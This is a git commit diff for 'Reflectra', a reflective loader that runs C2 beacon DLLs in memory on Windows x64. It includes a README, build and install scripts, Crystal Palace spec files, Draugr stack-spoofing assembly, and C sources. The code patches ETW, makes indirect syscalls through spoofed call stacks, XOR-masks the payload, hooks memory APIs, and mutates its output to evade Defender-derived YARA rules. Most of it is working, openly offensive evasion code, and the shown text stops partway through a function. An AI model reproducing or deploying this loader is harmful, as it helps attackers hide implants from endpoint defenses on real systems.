Initial commit

This commit is contained in:
john
2026-04-14 12:44:25 -04:00
parent f028937449
commit 22e0625380
32 changed files with 2324 additions and 0 deletions
+59
View File
@@ -0,0 +1,59 @@
# Prerequisites
*.d
# Object files
*.o
*.ko
*.obj
*.elf
# Linker output
*.ilk
*.map
*.exp
# Precompiled Headers
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su
*.idb
*.pdb
# Kernel Module Compile Results
*.mod*
*.cmd
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
# Custom
bin/
dist/
libtcg/
.vscode/
stub/pic.h
+134
View File
@@ -0,0 +1,134 @@
CC_64 := x86_64-w64-mingw32-gcc
NASM := nasm
SRC_DIR := src
BIN_DIR := bin
STUB_DIR := stub
# Keep release and debug artifacts separated to avoid mixing object files.
RELEASE_DIR := $(BIN_DIR)/release
DEBUG_DIR := $(BIN_DIR)/debug
# Default output path for the stub target. It can be overridden:
# make stub STUB_OUTPUT=/custom/path/stub.exe
STUB_OUTPUT ?= $(BIN_DIR)/stub.exe
# Common compiler flags shared by both release and debug builds.
# -MMD -MP generates dependency files (*.d) automatically so header
# changes trigger recompilation of the affected object files.
COMMON_CFLAGS := -I./$(SRC_DIR) \
-masm=intel \
-fno-stack-protector \
-fno-builtin \
-fno-jump-tables \
-fno-exceptions \
-fno-asynchronous-unwind-tables \
-fno-unwind-tables \
-fno-zero-initialized-in-bss \
-ffunction-sections \
-fdata-sections \
-fno-ident \
-mno-stack-arg-probe \
-MMD \
-MP
# Release-only optimization flags.
RELEASE_CFLAGS := -O1 \
-fomit-frame-pointer \
-fno-align-functions \
-fno-align-jumps \
-fno-align-loops
# Extra warnings to catch suspicious constructs during compilation.
WARN_CFLAGS := -Wall -Wextra -Wshadow -Wundef -Wno-pointer-arith
# Debug-only flags.
DEBUG_CFLAGS := -O0 -g3 -DDEBUG
# Stub build flags.
STUB_CFLAGS := -O1 -fno-stack-protector
STUB_LDFLAGS := -Wl,--subsystem,windows -Wl,--gc-sections -s
NASMFLAGS := -f bin -O3 -w-none
# Source files compiled with GCC.
SRCS := \
$(SRC_DIR)/core/loader.c \
$(SRC_DIR)/core/services.c \
$(SRC_DIR)/evasion/spoof.c \
$(SRC_DIR)/evasion/hooks.c \
$(SRC_DIR)/evasion/syscalls.c \
$(SRC_DIR)/evasion/patch.c \
$(SRC_DIR)/evasion/mask.c \
$(SRC_DIR)/utils/utils.c \
$(SRC_DIR)/pico/pico.c
# Convert source file paths into release/debug object file paths.
# Example:
# src/core/loader.c -> bin/release/core/loader.x64.o
RELEASE_OBJS := $(patsubst $(SRC_DIR)/%.c,$(RELEASE_DIR)/%.x64.o,$(SRCS))
DEBUG_OBJS := $(patsubst $(SRC_DIR)/%.c,$(DEBUG_DIR)/%.x64.o,$(SRCS))
# Dependency files generated by -MMD -MP.
# Example:
# bin/release/core/loader.x64.o -> bin/release/core/loader.x64.d
RELEASE_DEPS := $(RELEASE_OBJS:.o=.d)
DEBUG_DEPS := $(DEBUG_OBJS:.o=.d)
RELEASE_ASM := \
$(RELEASE_DIR)/asm/draugr.x64.bin \
$(RELEASE_DIR)/asm/dummy.x64.bin
DEBUG_ASM := \
$(DEBUG_DIR)/asm/draugr.x64.bin \
$(DEBUG_DIR)/asm/dummy.x64.bin
all: release
release: $(RELEASE_OBJS) $(RELEASE_ASM)
debug: $(DEBUG_OBJS) $(DEBUG_ASM)
# Build the Windows stub executable.
stub:
mkdir -p "$(dir $(STUB_OUTPUT))"
$(CC_64) $(STUB_DIR)/stub.c -o "$(STUB_OUTPUT)" $(STUB_CFLAGS) $(STUB_LDFLAGS)
clean:
rm -rf "$(BIN_DIR)"
print-vars:
@echo "RELEASE_OBJS=$(RELEASE_OBJS)"
@echo "DEBUG_OBJS=$(DEBUG_OBJS)"
@echo "RELEASE_ASM=$(RELEASE_ASM)"
@echo "DEBUG_ASM=$(DEBUG_ASM)"
# Pattern rules enable incremental builds:
# Each object file depends on exactly one source file.
# Only modified sources are recompiled.
# C Compilation
$(RELEASE_DIR)/%.x64.o: $(SRC_DIR)/%.c
mkdir -p "$(dir $@)"
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(RELEASE_CFLAGS) -c "$<" -o "$@"
$(DEBUG_DIR)/%.x64.o: $(SRC_DIR)/%.c
mkdir -p "$(dir $@)"
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(DEBUG_CFLAGS) -c "$<" -o "$@"
# ASM Compilation
$(RELEASE_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
mkdir -p "$(dir $@)"
$(NASM) "$<" -o "$@" $(NASMFLAGS)
$(DEBUG_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
mkdir -p "$(dir $@)"
$(NASM) "$<" -o "$@" $(NASMFLAGS)
# Include auto-generated dependency files if they already exist.
# The leading '-' prevents errors on the first build, when .d files have not been generated yet.
-include $(RELEASE_DEPS)
-include $(DEBUG_DEPS)
# These targets are commands, not real files.
.PHONY: all release debug stub clean print-vars
+208
View File
@@ -0,0 +1,208 @@
# Reflectra
![Language](https://img.shields.io/badge/language-C%20%2F%20ASM-blue)
![Platform](https://img.shields.io/badge/platform-Windows%20x64-lightgrey)
![Type](https://img.shields.io/badge/type-UDRL-purple)
![Status](https://img.shields.io/badge/status-research-blue)
Reflectra is a **User-Defined Reflective Loader (UDRL)** built on top of [Crystal Palace][1] and inspired by the work of [Rasta Mouse][2].
It focuses on providing a reusable, modular UDRL architecture that can be integrated across multiple C2 frameworks while maintaining full control over execution flow and evasion.
## Overview
Reflectra provides:
* Custom reflective loading pipeline built on top of Crystal Palace
* Modular evasion (syscalls, spoofing, patching)
* Brings custom evasion capabilities to Beacons
* Full control over execution flow and memory layout
* Designed for integration with DLL-based C2 payloads
It can be integrated into any framework that delivers payloads as DLLs.
## What is a User-Defined Reflective Loader (UDRL)
A User-Defined Reflective Loader (UDRL) is a custom loader that:
* Manually maps a DLL into memory
* Resolves imports and relocations
* Executes the entrypoint without using the Windows loader
Unlike standard reflective loaders, a UDRL gives full control over:
* Memory layout and permissions
* Import resolution strategy
* Execution flow
* Transformation and obfuscation logic
## Features
### Core
* Manual PE loading (sections, relocations, imports)
* Dynamic DLL entrypoint resolution (`Start`, `Run`, `Main`, etc)
* Loader self-cleanup after execution (Free & Run)
* Debug mode with verbose logging (removed in release builds)
### Evasion
* Stack call spoofing using [Draugr][3]
* Indirect syscalls using [LibGate][4]
* ETW user-mode patching (byte patching)
* DLL masking via XOR encryption
### Build & Pipeline
* Integration with Crystal Palace
* Automatic YARA rule generation and mutation dealing with [islands of invariance][5]
* Simple stub generation for standalone execution
### Testing
* Tested against Defender-derived YARA rules using [defender2yara][6]
## Install
Reflectra depends on external components that are not redistributed, such as [Crystal Palace][1] and Tradecraft Garden libraries.
To install all required dependencies:
```bash
./install.sh
```
This will:
* Download Crystal Palace distribution files
* Download Tradecraft Garden sources
* Build libtcg locally
* Prepare the environment for building payloads
## Usage
### AdaptixC2
1. Generate your beacon as a DLL
2. Build the payload using Reflectra:
```bash
./build.sh <dll_path> <output_path>
```
3. Execute using the stub or the `run.x64.exe` from Crystal Palace:
```powershell
.\run.x64.exe out.x64.bin
```
### With Any Other C2
1. Generate a DLL payload (preferably stageless)
2. Build it using Reflectra
3. Execute via:
* stub executable
* custom runner
* integrated loader
4. You will need to modify `spec/pico.spec` and overwrite `TARGET_FUNCTION` to target the function to execute
* This is required because Reflectra does not assume a fixed entrypoint, allowing flexibility across different C2 frameworks.
### Debug
You can debug it using this command:
```bash
./build.sh --debug ./dist/demo/test.x64.dll <output_path>
```
Debug messages are emitted via `OutputDebugStringA` and can be viewed using `DebugView` from SysinternalsSuite
### Output
* `out.x64.bin` → transformed payload
* `rules.yar` → generated YARA rules
* `stub.exe` → executable wrapper
* `out.x64.debug.bin` → optional debug payload
## Architecture
### Reflectra
```mermaid
flowchart LR
A[Patch ETW] --> B[Load PICO]
B --> C[Setup Hooks]
C --> D[Unmask DLL]
D --> E[Map DLL into Memory]
E --> F[Resolve Imports and Apply Relocations]
F --> G[Restore DLL Section Permissions]
G --> H[Execute PICO]
H --> I[Free Loader]
I --> J[Call DllMain]
J --> K[Call Target Function]
```
### Pipeline
```mermaid
flowchart LR
A[Input DLL] --> B[build.sh]
B --> C[Release]
B --> D[Debug]
C --> E[Compile Reflectra with MinGW]
D --> F[Compile Reflectra with MinGW]
E --> G[Link with Crystal Palace]
F --> H[Link with Crystal Palace]
G --> I[out.x64.bin]
G --> J[rules.yar]
I --> K[Generate pic.h with xxd]
K --> L[Build stub.exe]
H --> M[out.x64.debug.bin]
```
## Limitations
* Some DLL payloads (e.g., Sliver) may not be compatible due to their Go-based runtime
* Dynamically resolved APIs are not hooked; only functions resolved via the IAT are affected
## Design Goals
* Bring UDRL to public C2 like AdaptixC2
* Define a flexible structure for Crystal Palace projects that can be used with any project
* Keep the loader minimal and modular
* Separate build-time logic from runtime execution
* Avoid tight coupling with any specific C2
* Enable experimentation and research
## References & Credits
* Crystal Palace - Core framework
* Rasta Mouse - [Crystal-Kit][2], [LibGate][4], [CRTL][7] research inspiration
* Draugr
## Disclaimer
This project is intended for:
* Research
* Development
* Educational purposes
Unauthorized use against systems you do not own is illegal.
## License
This project is licensed under the MIT License.
See the LICENSE file for more details.
[1]: https://tradecraftgarden.org/crystalpalace.html
[2]: https://github.com/rasta-mouse/Crystal-Kit
[3]: https://github.com/NtDallas/Draugr
[4]: https://github.com/rasta-mouse/LibGate
[5]: https://rastamouse.me/islands-of-invariance/
[6]: https://github.com/t-tani/defender2yara
[7]: https://www.zeropointsecurity.co.uk/course/red-team-ops-ii
Executable
+176
View File
@@ -0,0 +1,176 @@
#!/usr/bin/env bash
set -Eeuo pipefail
# Usage:
# ./build.sh [--debug] <dll_path> <output_path>
#
# Examples:
# ./build.sh /path/to/agent.dll /tmp/output
# ./build.sh --debug /path/to/agent.dll /tmp/output
MODE="release"
DLL_PATH=""
OUTPUT_PATH=""
readonly LINKER="./dist/link"
readonly SPEC_FILE="spec/loader.spec"
readonly STUB_HEADER="stub/pic.h"
readonly RELEASE_BIN_FILENAME="out.x64.bin"
readonly DEBUG_BIN_FILENAME="out.x64.debug.bin"
readonly RULES_FILENAME="rules.yar"
readonly STUB_FILENAME="stub.exe"
usage() {
cat <<'EOF'
Usage:
./build.sh [--debug] <dll_path> <output_path>
Arguments:
dll_path Path to the DLL to link
output_path Directory where output files will be written
Options:
--debug Build the debug version instead of the release version
-h, --help Show this help message
EOF
}
log() {
printf '[*] %s\n' "$*"
}
error() {
printf '[!] %s\n' "$*" >&2
}
require_command() {
local cmd="$1"
if ! command -v "$cmd" >/dev/null 2>&1; then
error "Command not found: $cmd"
exit 1
fi
}
require_file() {
local file_path="$1"
if [[ ! -f "$file_path" ]]; then
error "File not found: $file_path"
exit 1
fi
}
ensure_directory() {
local dir_path="$1"
mkdir -p "$dir_path"
}
parse_args() {
while [[ $# -gt 0 ]]; do
case "$1" in
--debug)
MODE="debug"
shift
;;
-h|--help)
usage
exit 0
;;
--)
shift
break
;;
-*)
error "Unknown option: $1"
usage
exit 1
;;
*)
if [[ -z "$DLL_PATH" ]]; then
DLL_PATH="$1"
elif [[ -z "$OUTPUT_PATH" ]]; then
OUTPUT_PATH="$1"
else
error "Unexpected argument: $1"
usage
exit 1
fi
shift
;;
esac
done
if [[ -z "$DLL_PATH" || -z "$OUTPUT_PATH" ]]; then
usage
exit 1
fi
}
build_release() {
local release_bin_output
local rules_output
local stub_output
release_bin_output="$OUTPUT_PATH/$RELEASE_BIN_FILENAME"
rules_output="$OUTPUT_PATH/$RULES_FILENAME"
log "Building release version"
ensure_directory "$OUTPUT_PATH"
make -s clean
make -s release
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$release_bin_output" -g "$rules_output" -r %root=./ %MODE=release
xxd -i -n crystal_loader "$release_bin_output" > "$STUB_HEADER"
make -s stub "STUB_OUTPUT=$OUTPUT_PATH/$STUB_FILENAME"
log "Release build completed successfully"
}
build_debug() {
local debug_bin_output
debug_bin_output="$OUTPUT_PATH/$DEBUG_BIN_FILENAME"
log "Building debug version"
ensure_directory "$OUTPUT_PATH"
make -s clean
make -s debug
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$debug_bin_output" -r %root=./ %MODE=debug
log "Debug build completed successfully"
}
main() {
parse_args "$@"
require_command make
require_command xxd
require_file "$DLL_PATH"
require_file "$LINKER"
require_file "$SPEC_FILE"
case "$MODE" in
release)
build_release
;;
debug)
build_debug
;;
*)
error "Invalid mode: $MODE"
exit 1
;;
esac
}
main "$@"
Executable
+66
View File
@@ -0,0 +1,66 @@
#!/usr/bin/env bash
set -Eeuo pipefail
readonly CRYSTAL_PALACE_URL="https://tradecraftgarden.org/download"
readonly CPDIST_ARCHIVE="cpdist-latest.tgz"
readonly CPDIST_URL="$CRYSTAL_PALACE_URL/$CPDIST_ARCHIVE"
readonly TCG_ARCHIVE="tcg20260202.tgz"
readonly TCG_URL="$CRYSTAL_PALACE_URL/$TCG_ARCHIVE"
log() {
printf '[*] %s\n' "$*"
}
error() {
printf '[!] %s\n' "$*" >&2
}
require_command() {
local cmd="$1"
if ! command -v "$cmd" >/dev/null 2>&1; then
error "Required command not found: $cmd"
exit 1
fi
}
cleanup() {
rm -rf "$CPDIST_ARCHIVE" "$TCG_ARCHIVE" tcg/
}
main() {
require_command curl
require_command tar
require_command make
trap cleanup EXIT
log "Downloading Crystal Palace release"
curl -fsSL "$CPDIST_URL" -o "$CPDIST_ARCHIVE"
log "Extracting Crystal Palace release"
tar -xzf "$CPDIST_ARCHIVE"
log "Downloading Tradecraft Garden source"
curl -fsSL "$TCG_URL" -o "$TCG_ARCHIVE"
log "Extracting Tradecraft Garden source"
tar -xzf "$TCG_ARCHIVE"
if [[ ! -d "tcg/libtcg" ]]; then
error "Expected directory not found: tcg/libtcg"
exit 1
fi
log "Building libtcg"
make -s -C tcg/libtcg
log "Refreshing local libtcg directory"
rm -rf ./libtcg
mv tcg/libtcg ./libtcg
log "Installation completed successfully"
}
main "$@"
+51
View File
@@ -0,0 +1,51 @@
x64:
setg "%path" %root <> "/bin/" <> %MODE <> "/"
load %path <> "core/loader.x64.o"
make pic +gofirst +optimize +disco +mutate
load %path <> "core/services.x64.o"
merge
load %path <> "evasion/spoof.x64.o"
merge
load %path <> "evasion/hooks.x64.o"
merge
load %path <> "evasion/syscalls.x64.o"
merge
load %path <> "evasion/patch.x64.o"
merge
load %path <> "utils/utils.x64.o"
merge
load %path <> "asm/draugr.x64.bin"
linkfunc "draugr_stub"
dfr "resolve" "ror13"
mergelib %root <> "/libtcg/libtcg.x64.zip"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# Create and link PICO
run "pico.spec"
link "pico"
run "yara.spec"
export
+46
View File
@@ -0,0 +1,46 @@
x64:
load %path <> "pico/pico.x64.o"
make object +optimize +disco +mutate
load %path <> "evasion/spoof.x64.o"
merge
load %path <> "evasion/hooks.x64.o"
merge
load %path <> "evasion/syscalls.x64.o"
merge
load %path <> "evasion/mask.x64.o"
merge
load %path <> "utils/utils.x64.o"
merge
load %path <> "asm/draugr.x64.bin"
linkfunc "draugr_stub"
generate $KEY 128
patch "XOR_KEY" $KEY
# DLL Hooks
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
addhook "KERNEL32$VirtualFree" "_VirtualFree"
addhook "KERNEL32$Sleep" "_Sleep"
# Needed to free the loader
attach "KERNEL32$VirtualFree" "_VirtualFree"
# Needed to hook VirtualProtect in mask.c
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
exportfunc "FreeLoader" "__tag_FreeLoader"
exportfunc "SetupHooks" "__tag_SetupHooks"
exportfunc "SetupMemory" "__tag_SetupMemory"
mergelib %root <> "/libtcg/libtcg.x64.zip"
pack $targetFunction "a" "GetVersions"
patch "TARGET_FUNCTION" $targetFunction
export
+30
View File
@@ -0,0 +1,30 @@
x64:
load $DUMMY %path <> "asm/dummy.x64.bin"
# ParseDLL from Crystal Palace
ised insert "add rcx, rax" $DUMMY
# LoadPico from Crystal Palace
ised insert "call PicoDataSize" $DUMMY
# call SizeOfDLL from loader.c
ised insert "call SizeOfDLL" $DUMMY
# init_frame_info from spoof.c
ised insert "mov dword ptr [rbx+0x10], 0x17" $DUMMY
# GetSyscall from syscall.c
ised insert "shl ebx, 8" $DUMMY
# SpoofedSyscall from hooks.c
ised insert "mov r12d, ecx" $DUMMY
# go from loader.c
ised insert "sub rsp, 0x20" $DUMMY
# get_text_section_size from spoof.c
pack $XOREAX "h" "31C0" # xor eax, eax
ised replace "mov eax, 0" $XOREAX
# Disassemble object on stack and write output to assembly.txt
disassemble "bin/assembly.txt"
+134
View File
@@ -0,0 +1,134 @@
[BITS 64]
; =====================================================================
; Draugr Stub - Stack Spoofing Engine
; Highly optimized and YARA-resistant version
; =====================================================================
draugr_stub:
pop rax ; Real return address in rax
; ---------------------------------------------------------------------
; Store original registers (rdi, rsi)
; ---------------------------------------------------------------------
mov r10, rdi
mov r11, rsi
mov rdi, [rsp + 0x20] ; Load struct pointer
mov rsi, [rsp + 0x28] ; Load function to call
; Store original registers into struct
mov [rdi + 0x18], r10
mov [rdi + 0x58], r11
mov [rdi + 0x60], r12
mov [rdi + 0x68], r13
mov [rdi + 0x70], r14
mov [rdi + 0x78], r15
mov r12, rax ; Save original return address
; ---------------------------------------------------------------------
; Prepare stack arguments copy
; ---------------------------------------------------------------------
xor r11, r11
mov r13, [rsp + 0x30] ; Total number of stack args
mov r14, 0x200
add r14, 8
add r14, [rdi + 0x38] ; RtlUserThreadStart size
add r14, [rdi + 0x30] ; BaseThreadInitThunk size
add r14, [rdi + 0x20] ; Gadget frame size
sub r14, 0x20
mov r10, rsp
add r10, 0x30
looping:
cmp r11d, r13d
je finish
sub r14, 8
mov r15, rsp
sub r15, r14
add r10, 8
push qword [r10]
pop qword [r15]
inc r11
jmp looping
finish:
; ----------------------------------------------------------------------
; Create big working space (320 bytes)
; ----------------------------------------------------------------------
sub rsp, 0x200
push 0 ; Cut off return addresses
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x38]
sub rsp, [rax]
mov r11, [rdi + 0x40]
mov [rsp], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x20]
sub rsp, [rax]
mov r11, [rdi + 0x28]
mov [rsp], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x30]
sub rsp, [rax]
mov r11, [rdi + 0x50]
mov [rsp], r11
; ----------------------------------------------------------------------
; Prepare fixup structure
; ----------------------------------------------------------------------
mov r11, rsi ; Function to call
mov [rdi + 0x08], r12 ; OG ret addr
mov [rdi + 0x10], rbx
lea rbx, [rel fixup]
mov [rdi], rbx
mov rbx, rdi
; ----------------------------------------------------------------------
; Syscall setup
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [rdi + 0x48]
jmp r11
; =====================================================================
; Fixup - Restore original context after spoofed call
; =====================================================================
fixup:
mov rcx, rbx
; Restore stack
add rsp, 0x200
add rsp, [rbx + 0x30]
add rsp, [rbx + 0x20]
add rsp, [rbx + 0x38]
; Restore registers
mov rbx, [rcx + 0x10]
mov rdi, [rcx + 0x18]
mov rsi, [rcx + 0x58]
mov r12, [rcx + 0x60]
mov r13, [rcx + 0x68]
mov r14, [rcx + 0x70]
mov r15, [rcx + 0x78]
push rax
xor rax, rax
pop rax
jmp qword [rcx + 0x08]
+10
View File
@@ -0,0 +1,10 @@
[BITS 64]
; Generic dummy assembly
push rax
push rbx
mov rax, rax
lea rbx, [rbx+0]
nop
pop rbx
pop rax
+172
View File
@@ -0,0 +1,172 @@
#include "loader.h"
// Set up permissions based on what the DLL needs
void SetupSectionPermissions(DLLDATA *dll, char *dst, DLL_MEMORY *memory)
{
DWORD sectionCount = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *sectionHdr = NULL;
void *sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
DWORD oldProtect = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader,
dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < (int)sectionCount; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)
newProtect = PAGE_WRITECOPY;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)
newProtect = PAGE_READONLY;
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
newProtect = PAGE_READWRITE;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)
newProtect = PAGE_EXECUTE;
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
newProtect = PAGE_EXECUTE_WRITECOPY;
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(sectionHdr->Characteristics & IMAGE_SCN_MEM_READ))
newProtect = PAGE_EXECUTE_READ;
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) &&
(sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE))
newProtect = PAGE_EXECUTE_READWRITE;
/* set new permission */
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtect, &oldProtect);
memory->Sections[i].BaseAddress = sectionDst;
memory->Sections[i].Size = sectionSize;
memory->Sections[i].CurrentProtect = newProtect;
memory->Sections[i].PreviousProtect = newProtect;
/* advance to section */
sectionHdr++;
}
}
char *LoadPico(char *picoSrc, IMPORTFUNCS funcs)
{
SIZE_T sCodeSize = PicoCodeSize(picoSrc);
SIZE_T sDataSize = PicoDataSize(picoSrc);
char *picoCode = KERNEL32$VirtualAlloc(NULL, sCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
char *picoData = KERNEL32$VirtualAlloc(NULL, sDataSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
if (!picoCode || !picoData)
{
ERROR_MSG("Failed to allocate PICO memory");
return NULL;
}
PicoLoad(&funcs, picoSrc, picoCode, picoData);
DWORD old = 0;
if (!KERNEL32$VirtualProtect(picoCode, sCodeSize, PAGE_EXECUTE_READ, &old))
{
ERROR_MSG("VirtualProtect failed on PICO code section!");
}
return picoCode;
}
char *GetEntryPoint()
{
return (char *)go;
}
// Entry Point
void go()
{
INFO_MSG("=== STARTED LOADER ===");
// Populate functions
IMPORTFUNCS funcs;
funcs.GetProcAddress = GetProcAddress;
funcs.LoadLibraryA = LoadLibraryA;
// Patch ETW
patchEtw();
INFO_MSG("Loading PICO");
char *picoSrc = (char *)GETRESOURCE(_PICO_);
char *picoDst = LoadPico(picoSrc, funcs);
INFO_MSG("Resolving and calling SetupHooks function from PICO");
PICOFUNC_SETUP_HOOKS SetupHooks = (SETUP_HOOKS)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupHooks());
SetupHooks(&funcs);
INFO_MSG("Resolving SetupMemory function from PICO");
PICOFUNC_SETUP_MEMORY SetupMemory =
(PICOFUNC_SETUP_MEMORY)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupMemory());
INFO_MSG("Resolving FreeLoader function from PICO");
PICOFUNC_FREE_LOADER FreeLoader =
(PICOFUNC_FREE_LOADER)(void *)PicoGetExport(picoSrc, picoDst, __tag_FreeLoader());
if (FreeLoader == NULL)
{
ERROR_MSG("FreeLoader not found in PICO");
return;
}
// Get appended DLL and XOR Key
RESOURCE *maskedDll = GETRESOURCE(_DLL_);
RESOURCE *maskKey = GETRESOURCE(_MASK_);
INFO_MSG("Unmasking DLL");
XORData(maskedDll->value, maskedDll->len, maskKey->value, maskKey->len);
char *dllSrc = maskedDll->value;
// Parse DLL Headers
DLLDATA dllData;
ParseDLL(dllSrc, &dllData);
INFO_MSG("Allocating memory for DLL");
char *dllDst = KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&dllData),
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
if (dllDst == NULL)
{
ERROR_MSG("VirtualAlloc failed for DLL");
return;
}
INFO_MSG("Loading DLL into memory");
LoadDLL(&dllData, dllSrc, dllDst);
INFO_MSG("Processing DLL imports");
ProcessImports(&funcs, &dllData, dllDst);
// Track DLL memory
MEMORY_LAYOUT memory = {0};
memory.Dll.BaseAddress = (PVOID)dllDst;
memory.Dll.Size = SizeOfDLL(&dllData);
INFO_MSG("Setting up DLL section permissions");
SetupSectionPermissions(&dllData, dllDst, &memory.Dll);
// Pass memory to PICO
SetupMemory(&memory);
// Get DLL entry point
DLLMAIN_FUNC dll_entry_point = EntryPoint(&dllData, dllDst);
INFO_MSG("Calling FreeLoader from PICO:");
INFO_MSG("\tloader: %p", GetEntryPoint());
INFO_MSG("\tdll_base: %p", dllDst);
INFO_MSG("\tdll_entry: %p", dll_entry_point);
FreeLoader(GetEntryPoint(), dll_entry_point, dllDst);
}
+40
View File
@@ -0,0 +1,40 @@
#include <windows.h>
#include "evasion/patch.h"
#include "include/memory.h"
#include "utils/utils.h"
#include "utils/debug.h"
#define GETRESOURCE(x) ((RESOURCE *)((char *)&x))
typedef struct
{
int len;
char value[];
} RESOURCE;
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
typedef void (*SETUP_HOOKS)(IMPORTFUNCS *funcs);
// Appended DLL
char _DLL_[0] __attribute__((section("dll")));
// XOR Key
char _MASK_[0] __attribute__((section("mask")));
// PICO
char _PICO_[0] __attribute__((section("pico")));
// PICO Functions Tags
int __tag_FreeLoader();
int __tag_SetupHooks();
int __tag_SetupMemory();
// PICO Spec
typedef void (*PICOFUNC_FREE_LOADER)(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase);
typedef void (*PICOFUNC_SETUP_HOOKS)(IMPORTFUNCS *funcs);
typedef void (*PICOFUNC_SETUP_MEMORY)(MEMORY_LAYOUT *memory);
// Loader Entry Point
void go();
+11
View File
@@ -0,0 +1,11 @@
#include <windows.h>
#include "include/tcg.h"
/*
* This is our opt-in Dynamic Function Resolution resolver. It turns MODULE$Function into pointers.
* See dfr "resolve" "ror13" in loader.spec
*/
FARPROC resolve(DWORD modHash, DWORD funcHash) {
HANDLE hModule = findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
+101
View File
@@ -0,0 +1,101 @@
#include "hooks.h"
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc)
{
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
if (pNtdll == NULL)
{
ERROR_MSG("\t\tFailed to find pNtdll.dll");
return FALSE;
}
PVOID pNtFunction = findFunctionByHash(pNtdll, functionHash);
if (pNtFunction == NULL)
{
ERROR_MSG("\t\tFailed to find function by hash 0x%08X", functionHash);
return FALSE;
}
SYSCALL_GATE syscall = {0};
if (!GetSyscall(pNtdll, pNtFunction, &syscall))
{
ERROR_MSG("\t\tGetSyscall failed for function hash 0x%08X", functionHash);
return FALSE;
}
if (argsc > 10)
{
ERROR_MSG("\t\tArgs can't be more than 10");
return FALSE;
}
FUNCTION_CALL call = {0};
call.ptr = syscall.jmpAddr;
call.ssn = syscall.ssn;
call.argc = argsc;
for (int i = 0; i < argsc && i < 10; i++)
{
call.args[i] = spoof_arg(args[i]);
}
NTSTATUS status = spoof_call(&call);
if (!NT_SUCCESS(status))
{
ERROR_MSG("\t\tSyscall failed: 0x%08X ", status);
return FALSE;
}
return TRUE;
}
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
INFO_MSG("\t\tCalling _VirtualAlloc");
PVOID args[6] = {
NtCurrentProcess(),
&lpAddress,
0,
&dwSize,
(PVOID)(ULONG_PTR)flAllocationType,
(PVOID)(ULONG_PTR)flProtect};
if (!SpoofedSyscall(NTALLOCATEVIRTUALMEMORY_HASH, args, 6))
return NULL;
return lpAddress;
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
INFO_MSG("\t\tCalling _VirtualProtect");
PVOID args[5] = {
NtCurrentProcess(),
&lpAddress,
&dwSize,
(PVOID)(ULONG_PTR)flNewProtect,
(PVOID)(ULONG_PTR)lpflOldProtect};
if (!SpoofedSyscall(NTPROTECTVIRTUALMEMORY_HASH, args, 5))
return FALSE;
return TRUE;
}
BOOL _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
INFO_MSG("\t\tCalling _VirtualFree");
PVOID args[4] = {
NtCurrentProcess(),
&lpAddress,
&dwSize,
